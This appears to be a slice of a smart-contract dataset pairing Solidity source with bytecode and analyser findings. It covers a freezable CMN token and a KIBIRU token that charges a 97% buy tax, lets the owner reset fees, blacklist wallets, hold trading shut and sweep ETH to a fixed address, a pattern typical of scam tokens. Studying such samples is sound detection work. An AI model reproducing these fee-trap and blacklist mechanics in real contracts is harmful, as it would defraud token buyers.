* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue)
);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint256 _addedValue)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Frozenable Token
* @dev Illegal address that can be frozened.
*/
contract FrozenableToken is Ownable {
mapping(address => bool) public frozenAccount;
event FrozenFunds(address indexed to, bool frozen);
modifier whenNotFrozen(address _who) {
require(!frozenAccount[msg.sender] && !frozenAccount[_who]);
_;
}
function freezeAccount(address _to, bool _freeze) public onlyOwner {
require(_to != address(0));
frozenAccount[_to] = _freeze;
emit FrozenFunds(_to, _freeze);
}
}
/**
* @title HS Token
* @dev HS digital painting asset platform token.
* @author HS.org
*/
contract CMNToken is PausableToken, FrozenableToken {
string public name = "CMN";
string public symbol = "CMN";
uint256 public decimals = 18;
uint256 INITIAL_SUPPLY = 10000000 * (10**uint256(decimals));
// owner address
address private _ownerAddress; // initial, Owner address
/**
* @dev Initializes the total release
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
_ownerAddress = msg.sender;
balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
/**
* if ether is sent to this address, send it back.
*/
function() public payable {
revert();
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value)
public
whenNotFrozen(_to)
returns (bool)
{
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public whenNotFrozen(_from) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
} | 0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c257806323b872dd146101e9578063313ce567146102135780633f4ba83a146102285780635c975abb1461023f578063661884631461025457806370a08231146102785780638456cb59146102995780638da5cb5b146102ae57806395d89b41146102df578063a9059cbb146102f4578063b414d4b614610318578063d73dd62314610339578063dd62ed3e1461035d578063e724529c14610384578063f2fde38b146103aa575b600080fd5b34801561010c57600080fd5b506101156103cb565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101ae600160a060020a0360043516602435610459565b604080519115158252519081900360200190f35b3480156101ce57600080fd5b506101d7610484565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101ae600160a060020a036004358116906024351660443561048a565b34801561021f57600080fd5b506101d76104e4565b34801561023457600080fd5b5061023d6104ea565b005b34801561024b57600080fd5b506101ae610562565b34801561026057600080fd5b506101ae600160a060020a0360043516602435610572565b34801561028457600080fd5b506101d7600160a060020a0360043516610596565b3480156102a557600080fd5b5061023d6105b1565b3480156102ba57600080fd5b506102c361062e565b60408051600160a060020a039092168252519081900360200190f35b3480156102eb57600080fd5b5061011561063d565b34801561030057600080fd5b506101ae600160a060020a0360043516602435610698565b34801561032457600080fd5b506101ae600160a060020a03600435166106f0565b34801561034557600080fd5b506101ae600160a060020a0360043516602435610705565b34801561036957600080fd5b506101d7600160a060020a0360043581169060243516610729565b34801561039057600080fd5b5061023d600160a060020a03600435166024351515610754565b3480156103b657600080fd5b5061023d600160a060020a03600435166107e0565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104515780601f1061042657610100808354040283529160200191610451565b820191906000526020600020905b81548152906001019060200180831161043457829003601f168201915b505050505081565b60035460009060a060020a900460ff161561047357600080fd5b61047d8383610803565b9392505050565b60015490565b33600090815260046020526040812054849060ff161580156104c55750600160a060020a03811660009081526004602052604090205460ff16155b15156104d057600080fd5b6104db8585856108a5565b95945050505050565b60075481565b600354600160a060020a0316331461050157600080fd5b60035460a060020a900460ff16151561051957600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561058c57600080fd5b61047d83836108ca565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146105c857600080fd5b60035460a060020a900460ff16156105df57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104515780601f1061042657610100808354040283529160200191610451565b33600090815260046020526040812054839060ff161580156106d35750600160a060020a03811660009081526004602052604090205460ff16155b15156106de57600080fd5b6106e884846109ba565b949350505050565b60046020526000908152604090205460ff1681565b60035460009060a060020a900460ff161561071f57600080fd5b61047d83836109de565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461076b57600080fd5b600160a060020a038216151561078057600080fd5b600160a060020a038216600081815260046020908152604091829020805460ff1916851515908117909155825190815291517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a25050565b600354600160a060020a031633146107f757600080fd5b61080081610a77565b50565b60008115806108335750336000908152600260209081526040808320600160a060020a0387168452909152902054155b151561083e57600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60035460009060a060020a900460ff16156108bf57600080fd5b6106e8848484610af5565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561091f57336000908152600260209081526040808320600160a060020a0388168452909152812055610954565b61092f818463ffffffff610c6c16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60035460009060a060020a900460ff16156109d457600080fd5b61047d8383610c7e565b336000908152600260209081526040808320600160a060020a0386168452909152812054610a12908363ffffffff610d5f16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a0381161515610a8c57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610b0c57600080fd5b600160a060020a038416600090815260208190526040902054821115610b3157600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610b6157600080fd5b600160a060020a038416600090815260208190526040902054610b8a908363ffffffff610c6c16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610bbf908363ffffffff610d5f16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610c01908363ffffffff610c6c16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600082821115610c7857fe5b50900390565b6000600160a060020a0383161515610c9557600080fd5b33600090815260208190526040902054821115610cb157600080fd5b33600090815260208190526040902054610cd1908363ffffffff610c6c16565b3360009081526020819052604080822092909255600160a060020a03851681522054610d03908363ffffffff610d5f16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b81810182811015610d6c57fe5b929150505600a165627a7a723058204af879b4dc33664e350cdebafd1e7094556ff6f562e410755dae01821f749d0f0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,538 |
0x42489f5e7611c92cf94d4ee7fd5348a273dde9cc | /**
*Submitted for verification at Etherscan.io on 2022-03-30
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KIBIRU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KIBIRU";
string private constant _symbol = "KIBU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xC017996B7133056a5e387b437B4d02e4F89eAdb9);
address payable private _marketingAddress = payable(0xC017996B7133056a5e387b437B4d02e4F89eAdb9);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610550578063dd62ed3e14610570578063ea1644d5146105b6578063f2fde38b146105d657600080fd5b8063a2a957bb146104cb578063a9059cbb146104eb578063bfd792841461050b578063c3c8cd801461053b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b411461047e57806398a5c315146104ab57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611958565b6105f6565b005b34801561020a57600080fd5b506040805180820190915260068152654b494249525560d01b60208201525b6040516102369190611a1d565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a72565b610695565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b5066038d7ea4c680005b604051908152602001610236565b3480156102d757600080fd5b5061025f6102e6366004611a9e565b6106ac565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610236565b34801561032957600080fd5b5060155461028f906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611adf565b610715565b34801561036957600080fd5b506101fc610378366004611b0c565b610760565b34801561038957600080fd5b506101fc6107a8565b34801561039e57600080fd5b506102bd6103ad366004611adf565b6107f3565b3480156103be57600080fd5b506101fc610815565b3480156103d357600080fd5b506101fc6103e2366004611b27565b610889565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611adf565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028f565b34801561045457600080fd5b506101fc610463366004611b0c565b6108b8565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b506040805180820190915260048152634b49425560e01b6020820152610229565b3480156104b757600080fd5b506101fc6104c6366004611b27565b610900565b3480156104d757600080fd5b506101fc6104e6366004611b40565b61092f565b3480156104f757600080fd5b5061025f610506366004611a72565b61096d565b34801561051757600080fd5b5061025f610526366004611adf565b60106020526000908152604090205460ff1681565b34801561054757600080fd5b506101fc61097a565b34801561055c57600080fd5b506101fc61056b366004611b72565b6109ce565b34801561057c57600080fd5b506102bd61058b366004611bf6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c257600080fd5b506101fc6105d1366004611b27565b610a6f565b3480156105e257600080fd5b506101fc6105f1366004611adf565b610a9e565b6000546001600160a01b031633146106295760405162461bcd60e51b815260040161062090611c2f565b60405180910390fd5b60005b81518110156106915760016010600084848151811061064d5761064d611c64565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068981611c90565b91505061062c565b5050565b60006106a2338484610b88565b5060015b92915050565b60006106b9848484610cac565b61070b843361070685604051806060016040528060288152602001611daa602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111e8565b610b88565b5060019392505050565b6000546001600160a01b0316331461073f5760405162461bcd60e51b815260040161062090611c2f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078a5760405162461bcd60e51b815260040161062090611c2f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107dd57506013546001600160a01b0316336001600160a01b0316145b6107e657600080fd5b476107f081611222565b50565b6001600160a01b0381166000908152600260205260408120546106a69061125c565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161062090611c2f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b35760405162461bcd60e51b815260040161062090611c2f565b601655565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161062090611c2f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092a5760405162461bcd60e51b815260040161062090611c2f565b601855565b6000546001600160a01b031633146109595760405162461bcd60e51b815260040161062090611c2f565b600893909355600a91909155600955600b55565b60006106a2338484610cac565b6012546001600160a01b0316336001600160a01b031614806109af57506013546001600160a01b0316336001600160a01b0316145b6109b857600080fd5b60006109c3306107f3565b90506107f0816112e0565b6000546001600160a01b031633146109f85760405162461bcd60e51b815260040161062090611c2f565b60005b82811015610a69578160056000868685818110610a1a57610a1a611c64565b9050602002016020810190610a2f9190611adf565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6181611c90565b9150506109fb565b50505050565b6000546001600160a01b03163314610a995760405162461bcd60e51b815260040161062090611c2f565b601755565b6000546001600160a01b03163314610ac85760405162461bcd60e51b815260040161062090611c2f565b6001600160a01b038116610b2d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610620565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610620565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610620565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610620565b6001600160a01b038216610d725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610620565b60008111610dd45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610620565b6000546001600160a01b03848116911614801590610e0057506000546001600160a01b03838116911614155b156110e157601554600160a01b900460ff16610e99576000546001600160a01b03848116911614610e995760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610620565b601654811115610eeb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610620565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2d57506001600160a01b03821660009081526010602052604090205460ff16155b610f855760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610620565b6015546001600160a01b0383811691161461100a5760175481610fa7846107f3565b610fb19190611cab565b1061100a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610620565b6000611015306107f3565b60185460165491925082101590821061102e5760165491505b8080156110455750601554600160a81b900460ff16155b801561105f57506015546001600160a01b03868116911614155b80156110745750601554600160b01b900460ff165b801561109957506001600160a01b03851660009081526005602052604090205460ff16155b80156110be57506001600160a01b03841660009081526005602052604090205460ff16155b156110de576110cc826112e0565b4780156110dc576110dc47611222565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112357506001600160a01b03831660009081526005602052604090205460ff165b8061115557506015546001600160a01b038581169116148015906